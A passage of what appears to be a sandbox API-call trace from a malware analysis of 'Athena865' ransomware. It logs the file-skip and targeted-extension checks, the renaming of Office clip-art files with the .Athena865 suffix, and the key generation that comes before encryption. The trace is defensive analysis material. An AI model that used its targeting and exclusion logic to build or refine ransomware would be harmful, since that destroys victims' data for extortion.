(lpString1="J0200279.WMF", lpString2="perflogs") returned -1 [0127.700] lstrcmpiW (lpString1="J0200279.WMF", lpString2="MSBuild") returned -1 [0127.700] lstrlenW (lpString="J0200279.WMF") returned 12 [0127.700] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0200279.WMF" | out: lpString1="J0200279.WMF") returned="J0200279.WMF" [0127.700] lstrlenW (lpString="J0200279.WMF") returned 12 [0127.700] lstrlenW (lpString="Athena865") returned 9 [0127.701] lstrcmpiW (lpString1="00279.WMF", lpString2="Athena865") returned -1 [0127.701] lstrlenW (lpString=".dll") returned 4 [0127.701] lstrcmpiW (lpString1="J0200279.WMF", lpString2=".dll") returned 1 [0127.701] lstrlenW (lpString=".lnk") returned 4 [0127.701] lstrcmpiW (lpString1="J0200279.WMF", lpString2=".lnk") returned 1 [0127.701] lstrlenW (lpString=".ini") returned 4 [0127.701] lstrcmpiW (lpString1="J0200279.WMF", lpString2=".ini") returned 1 [0127.701] lstrlenW (lpString=".sys") returned 4 [0127.701] lstrcmpiW (lpString1="J0200279.WMF", lpString2=".sys") returned 1 [0127.701] lstrlenW (lpString="J0200279.WMF") returned 12 [0127.701] lstrlenW (lpString="bak") returned 3 [0127.701] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0127.701] lstrlenW (lpString="ba_") returned 3 [0127.701] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0127.701] lstrlenW (lpString="dbb") returned 3 [0127.701] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0127.701] lstrlenW (lpString="vmdk") returned 4 [0127.701] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0127.701] lstrlenW (lpString="rar") returned 3 [0127.701] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0127.701] lstrlenW (lpString="zip") returned 3 [0127.701] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0127.701] lstrlenW (lpString="tgz") returned 3 [0127.701] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0127.701] lstrlenW (lpString="vbox") returned 4 [0127.701] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0127.701] lstrlenW (lpString="vdi") returned 3 [0127.701] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0127.702] lstrlenW (lpString="vhd") returned 3 [0127.702] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0127.702] lstrlenW (lpString="vhdx") returned 4 [0127.702] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0127.702] lstrlenW (lpString="avhd") returned 4 [0127.702] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0127.702] lstrlenW (lpString="db") returned 2 [0127.702] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0127.702] lstrlenW (lpString="db2") returned 3 [0127.702] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0127.702] lstrlenW (lpString="db3") returned 3 [0127.702] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0127.702] lstrlenW (lpString="dbf") returned 3 [0127.702] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0127.702] lstrlenW (lpString="mdf") returned 3 [0127.702] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0127.702] lstrlenW (lpString="mdb") returned 3 [0127.702] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0127.702] lstrlenW (lpString="sql") returned 3 [0127.702] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0127.702] lstrlenW (lpString="sqlite") returned 6 [0127.702] lstrcmpiW (lpString1="79.WMF", lpString2="sqlite") returned -1 [0127.702] lstrlenW (lpString="sqlite3") returned 7 [0127.702] lstrcmpiW (lpString1="279.WMF", lpString2="sqlite3") returned -1 [0127.702] lstrlenW (lpString="sqlitedb") returned 8 [0127.702] lstrcmpiW (lpString1="0279.WMF", lpString2="sqlitedb") returned -1 [0127.702] lstrlenW (lpString="xml") returned 3 [0127.702] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0127.703] lstrlenW (lpString="$er") returned 3 [0127.703] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0127.703] lstrlenW (lpString="4dd") returned 3 [0127.703] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0127.703] lstrlenW (lpString="4dl") returned 3 [0127.703] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0127.703] lstrlenW (lpString="^^^") returned 3 [0127.703] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0127.703] lstrlenW (lpString="abs") returned 3 [0127.703] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0127.703] lstrlenW (lpString="abx") returned 3 [0127.703] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0127.703] lstrlenW (lpString="accdb") returned 5 [0127.703] lstrcmpiW (lpString1="9.WMF", lpString2="accdb") returned -1 [0127.703] lstrlenW (lpString="accdc") returned 5 [0127.703] lstrcmpiW (lpString1="9.WMF", lpString2="accdc") returned -1 [0127.703] lstrlenW (lpString="accde") returned 5 [0127.703] lstrcmpiW (lpString1="9.WMF", lpString2="accde") returned -1 [0127.703] lstrlenW (lpString="accdr") returned 5 [0127.703] lstrcmpiW (lpString1="9.WMF", lpString2="accdr") returned -1 [0127.703] lstrlenW (lpString="accdt") returned 5 [0127.703] lstrcmpiW (lpString1="9.WMF", lpString2="accdt") returned -1 [0127.703] lstrlenW (lpString="accdw") returned 5 [0127.703] lstrcmpiW (lpString1="9.WMF", lpString2="accdw") returned -1 [0127.703] lstrlenW (lpString="accft") returned 5 [0127.703] lstrcmpiW (lpString1="9.WMF", lpString2="accft") returned -1 [0127.703] lstrlenW (lpString="adb") returned 3 [0127.704] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0127.704] lstrlenW (lpString="adb") returned 3 [0127.704] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0127.704] lstrlenW (lpString="ade") returned 3 [0127.704] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0127.704] lstrlenW (lpString="adf") returned 3 [0127.704] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0127.704] lstrlenW (lpString="adn") returned 3 [0127.704] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0127.704] lstrlenW (lpString="adp") returned 3 [0127.704] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0127.704] lstrlenW (lpString="alf") returned 3 [0127.704] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0127.704] lstrlenW (lpString="ask") returned 3 [0127.704] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0127.704] lstrlenW (lpString="btr") returned 3 [0127.704] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0127.704] lstrlenW (lpString="cat") returned 3 [0127.704] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0127.704] lstrlenW (lpString="cdb") returned 3 [0127.704] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0127.704] lstrlenW (lpString="ckp") returned 3 [0127.704] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0127.704] lstrlenW (lpString="cma") returned 3 [0127.704] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0127.704] lstrlenW (lpString="cpd") returned 3 [0127.704] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0127.705] lstrlenW (lpString="dacpac") returned 6 [0127.705] lstrcmpiW (lpString1="79.WMF", lpString2="dacpac") returned -1 [0127.705] lstrlenW (lpString="dad") returned 3 [0127.705] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0127.705] lstrlenW (lpString="dadiagrams") returned 10 [0127.705] lstrcmpiW (lpString1="200279.WMF", lpString2="dadiagrams") returned -1 [0127.705] lstrlenW (lpString="daschema") returned 8 [0127.705] lstrcmpiW (lpString1="0279.WMF", lpString2="daschema") returned -1 [0127.705] lstrlenW (lpString="db-journal") returned 10 [0127.705] lstrcmpiW (lpString1="200279.WMF", lpString2="db-journal") returned -1 [0127.705] lstrlenW (lpString="db-shm") returned 6 [0127.705] lstrcmpiW (lpString1="79.WMF", lpString2="db-shm") returned -1 [0127.705] lstrlenW (lpString="db-wal") returned 6 [0127.705] lstrcmpiW (lpString1="79.WMF", lpString2="db-wal") returned -1 [0127.705] lstrlenW (lpString="dbc") returned 3 [0127.705] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0127.705] lstrlenW (lpString="dbs") returned 3 [0127.705] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0127.705] lstrlenW (lpString="dbt") returned 3 [0127.705] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0127.705] lstrlenW (lpString="dbv") returned 3 [0127.705] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0127.705] lstrlenW (lpString="dbx") returned 3 [0127.705] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0127.705] lstrlenW (lpString="dcb") returned 3 [0127.705] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0127.706] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0127.706] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.Athena865") returned 73 [0127.706] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf.athena865"), dwFlags=0x1) returned 1 [0127.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.709] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19466) returned 1 [0127.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.715] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0127.718] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0127.718] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.720] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f10, lpName=0x0) returned 0x154 [0127.722] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f10) returned 0x100000 [0127.728] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0127.730] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0127.731] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0127.732] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0127.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0127.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0127.732] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0127.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0127.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0127.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0127.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0127.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0127.734] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0127.736] CloseHandle (hObject=0x154) returned 1 [0127.736] CloseHandle (hObject=0x17c) returned 1 [0127.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0127.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0127.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0127.738] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb379af00, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb379af00, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0xa0b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0200289.WMF", cAlternateFileName="")) returned 1 [0127.740] lstrcmpiW (lpString1="J0200289.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0127.741] lstrcmpiW (lpString1="J0200289.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0127.741] lstrcmpiW (lpString1="J0200289.WMF", lpString2=".") returned 1 [0127.741] lstrcmpiW (lpString1="J0200289.WMF", lpString2="..") returned 1 [0127.741] lstrcmpiW (lpString1="J0200289.WMF", lpString2="windows") returned -1 [0127.741] lstrcmpiW (lpString1="J0200289.WMF", lpString2="bootmgr") returned 1 [0127.741] lstrcmpiW (lpString1="J0200289.WMF", lpString2="temp") returned -1 [0127.741] lstrcmpiW (lpString1="J0200289.WMF", lpString2="pagefile.sys") returned -1 [0127.741] lstrcmpiW (lpString1="J0200289.WMF", lpString2="boot") returned 1 [0127.741] lstrcmpiW (lpString1="J0200289.WMF", lpString2="ids.txt") returned 1 [0127.741] lstrcmpiW (lpString1="J0200289.WMF", lpString2="ntuser.dat") returned -1 [0127.741] lstrcmpiW (lpString1="J0200289.WMF", lpString2="perflogs") returned -1 [0127.741] lstrcmpiW (lpString1="J0200289.WMF", lpString2="MSBuild") returned -1 [0127.741] lstrlenW (lpString="J0200289.WMF") returned 12 [0127.741] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0200289.WMF" | out: lpString1="J0200289.WMF") returned="J0200289.WMF" [0127.741] lstrlenW (lpString="J0200289.WMF") returned 12 [0127.741] lstrlenW (lpString="Athena865") returned 9 [0127.742] lstrcmpiW (lpString1="00289.WMF", lpString2="Athena865") returned -1 [0127.742] lstrlenW (lpString=".dll") returned 4 [0127.742] lstrcmpiW (lpString1="J0200289.WMF", lpString2=".dll") returned 1 [0127.742] lstrlenW (lpString=".lnk") returned 4 [0127.742] lstrcmpiW (lpString1="J0200289.WMF", lpString2=".lnk") returned 1 [0127.742] lstrlenW (lpString=".ini") returned 4 [0127.742] lstrcmpiW (lpString1="J0200289.WMF", lpString2=".ini") returned 1 [0127.742] lstrlenW (lpString=".sys") returned 4 [0127.742] lstrcmpiW (lpString1="J0200289.WMF", lpString2=".sys") returned 1 [0127.742] lstrlenW (lpString="J0200289.WMF") returned 12 [0127.742] lstrlenW (lpString="bak") returned 3 [0127.742] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0127.742] lstrlenW (lpString="ba_") returned 3 [0127.742] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0127.742] lstrlenW (lpString="dbb") returned 3 [0127.742] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0127.742] lstrlenW (lpString="vmdk") returned 4 [0127.742] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0127.742] lstrlenW (lpString="rar") returned 3 [0127.742] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0127.742] lstrlenW (lpString="zip") returned 3 [0127.742] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0127.742] lstrlenW (lpString="tgz") returned 3 [0127.742] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0127.742] lstrlenW (lpString="vbox") returned 4 [0127.742] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0127.742] lstrlenW (lpString="vdi") returned 3 [0127.743] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0127.743] lstrlenW (lpString="vhd") returned 3 [0127.743] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0127.743] lstrlenW (lpString="vhdx") returned 4 [0127.743] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0127.743] lstrlenW (lpString="avhd") returned 4 [0127.743] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0127.743] lstrlenW (lpString="db") returned 2 [0127.743] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0127.743] lstrlenW (lpString="db2") returned 3 [0127.743] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0127.743] lstrlenW (lpString="db3") returned 3 [0127.743] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0127.743] lstrlenW (lpString="dbf") returned 3 [0127.743] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0127.743] lstrlenW (lpString="mdf") returned 3 [0127.743] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0127.743] lstrlenW (lpString="mdb") returned 3 [0127.743] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0127.743] lstrlenW (lpString="sql") returned 3 [0127.743] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0127.743] lstrlenW (lpString="sqlite") returned 6 [0127.743] lstrcmpiW (lpString1="89.WMF", lpString2="sqlite") returned -1 [0127.743] lstrlenW (lpString="sqlite3") returned 7 [0127.743] lstrcmpiW (lpString1="289.WMF", lpString2="sqlite3") returned -1 [0127.743] lstrlenW (lpString="sqlitedb") returned 8 [0127.743] lstrcmpiW (lpString1="0289.WMF", lpString2="sqlitedb") returned -1 [0127.743] lstrlenW (lpString="xml") returned 3 [0127.744] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0127.744] lstrlenW (lpString="$er") returned 3 [0127.744] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0127.744] lstrlenW (lpString="4dd") returned 3 [0127.744] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0127.744] lstrlenW (lpString="4dl") returned 3 [0127.744] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0127.744] lstrlenW (lpString="^^^") returned 3 [0127.744] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0127.744] lstrlenW (lpString="abs") returned 3 [0127.744] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0127.744] lstrlenW (lpString="abx") returned 3 [0127.744] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0127.744] lstrlenW (lpString="accdb") returned 5 [0127.744] lstrcmpiW (lpString1="9.WMF", lpString2="accdb") returned -1 [0127.744] lstrlenW (lpString="accdc") returned 5 [0127.744] lstrcmpiW (lpString1="9.WMF", lpString2="accdc") returned -1 [0127.744] lstrlenW (lpString="accde") returned 5 [0127.744] lstrcmpiW (lpString1="9.WMF", lpString2="accde") returned -1 [0127.744] lstrlenW (lpString="accdr") returned 5 [0127.744] lstrcmpiW (lpString1="9.WMF", lpString2="accdr") returned -1 [0127.744] lstrlenW (lpString="accdt") returned 5 [0127.744] lstrcmpiW (lpString1="9.WMF", lpString2="accdt") returned -1 [0127.744] lstrlenW (lpString="accdw") returned 5 [0127.744] lstrcmpiW (lpString1="9.WMF", lpString2="accdw") returned -1 [0127.744] lstrlenW (lpString="accft") returned 5 [0127.744] lstrcmpiW (lpString1="9.WMF", lpString2="accft") returned -1 [0127.744] lstrlenW (lpString="adb") returned 3 [0127.745] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0127.745] lstrlenW (lpString="adb") returned 3 [0127.745] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0127.745] lstrlenW (lpString="ade") returned 3 [0127.745] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0127.745] lstrlenW (lpString="adf") returned 3 [0127.745] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0127.745] lstrlenW (lpString="adn") returned 3 [0127.745] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0127.745] lstrlenW (lpString="adp") returned 3 [0127.745] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0127.745] lstrlenW (lpString="alf") returned 3 [0127.745] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0127.745] lstrlenW (lpString="ask") returned 3 [0127.745] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0127.745] lstrlenW (lpString="btr") returned 3 [0127.745] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0127.745] lstrlenW (lpString="cat") returned 3 [0127.745] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0127.745] lstrlenW (lpString="cdb") returned 3 [0127.745] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0127.745] lstrlenW (lpString="ckp") returned 3 [0127.745] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0127.745] lstrlenW (lpString="cma") returned 3 [0127.745] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0127.745] lstrlenW (lpString="cpd") returned 3 [0127.745] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0127.745] lstrlenW (lpString="dacpac") returned 6 [0127.745] lstrcmpiW (lpString1="89.WMF", lpString2="dacpac") returned -1 [0127.746] lstrlenW (lpString="dad") returned 3 [0127.746] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0127.746] lstrlenW (lpString="dadiagrams") returned 10 [0127.746] lstrcmpiW (lpString1="200289.WMF", lpString2="dadiagrams") returned -1 [0127.746] lstrlenW (lpString="daschema") returned 8 [0127.746] lstrcmpiW (lpString1="0289.WMF", lpString2="daschema") returned -1 [0127.746] lstrlenW (lpString="db-journal") returned 10 [0127.746] lstrcmpiW (lpString1="200289.WMF", lpString2="db-journal") returned -1 [0127.746] lstrlenW (lpString="db-shm") returned 6 [0127.746] lstrcmpiW (lpString1="89.WMF", lpString2="db-shm") returned -1 [0127.746] lstrlenW (lpString="db-wal") returned 6 [0127.746] lstrcmpiW (lpString1="89.WMF", lpString2="db-wal") returned -1 [0127.746] lstrlenW (lpString="dbc") returned 3 [0127.746] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0127.746] lstrlenW (lpString="dbs") returned 3 [0127.746] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0127.746] lstrlenW (lpString="dbt") returned 3 [0127.746] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0127.746] lstrlenW (lpString="dbv") returned 3 [0127.746] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0127.746] lstrlenW (lpString="dbx") returned 3 [0127.746] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0127.746] lstrlenW (lpString="dcb") returned 3 [0127.746] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0127.746] lstrlenW (lpString="dct") returned 3 [0127.746] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0127.746] lstrlenW (lpString="dcx") returned 3 [0127.747] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0127.747] lstrlenW (lpString="ddl") returned 3 [0127.747] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0127.747] lstrlenW (lpString="dlis") returned 4 [0127.747] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0127.747] lstrlenW (lpString="dp1") returned 3 [0127.747] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0127.747] lstrlenW (lpString="dqy") returned 3 [0127.747] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0127.747] lstrlenW (lpString="dsk") returned 3 [0127.747] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0127.747] lstrlenW (lpString="dsn") returned 3 [0127.747] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0127.747] lstrlenW (lpString="dtsx") returned 4 [0127.747] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0127.747] lstrlenW (lpString="dxl") returned 3 [0127.747] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0127.747] lstrlenW (lpString="eco") returned 3 [0127.747] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0127.747] lstrlenW (lpString="ecx") returned 3 [0127.747] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0127.747] lstrlenW (lpString="edb") returned 3 [0127.747] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0127.747] lstrlenW (lpString="epim") returned 4 [0127.747] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0127.747] lstrlenW (lpString="fcd") returned 3 [0127.747] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0127.747] lstrlenW (lpString="fdb") returned 3 [0127.748] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0127.748] lstrlenW (lpString="fic") returned 3 [0127.748] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0127.748] lstrlenW (lpString="flexolibrary") returned 12 [0127.748] lstrlenW (lpString="fm5") returned 3 [0127.748] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0127.748] lstrlenW (lpString="fmp") returned 3 [0127.748] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0127.748] lstrlenW (lpString="fmp12") returned 5 [0127.748] lstrcmpiW (lpString1="9.WMF", lpString2="fmp12") returned -1 [0127.748] lstrlenW (lpString="fmpsl") returned 5 [0127.748] lstrcmpiW (lpString1="9.WMF", lpString2="fmpsl") returned -1 [0127.748] lstrlenW (lpString="fol") returned 3 [0127.748] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0127.748] lstrlenW (lpString="fp3") returned 3 [0127.748] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0127.748] lstrlenW (lpString="fp4") returned 3 [0127.748] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0127.748] lstrlenW (lpString="fp5") returned 3 [0127.748] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0127.748] lstrlenW (lpString="fp7") returned 3 [0127.748] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0127.748] lstrlenW (lpString="fpt") returned 3 [0127.748] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0127.748] lstrlenW (lpString="frm") returned 3 [0127.748] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0127.748] lstrlenW (lpString="gdb") returned 3 [0127.748] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0127.748] lstrlenW (lpString="gdb") returned 3 [0127.749] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0127.749] lstrlenW (lpString="grdb") returned 4 [0127.749] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0127.749] lstrlenW (lpString="gwi") returned 3 [0127.749] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0127.749] lstrlenW (lpString="hdb") returned 3 [0127.749] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0127.749] lstrlenW (lpString="his") returned 3 [0127.749] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0127.749] lstrlenW (lpString="ib") returned 2 [0127.749] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0127.749] lstrlenW (lpString="idb") returned 3 [0127.749] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0127.749] lstrlenW (lpString="ihx") returned 3 [0127.749] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0127.749] lstrlenW (lpString="itdb") returned 4 [0127.749] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0127.749] lstrlenW (lpString="itw") returned 3 [0127.749] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0127.749] lstrlenW (lpString="jet") returned 3 [0127.749] 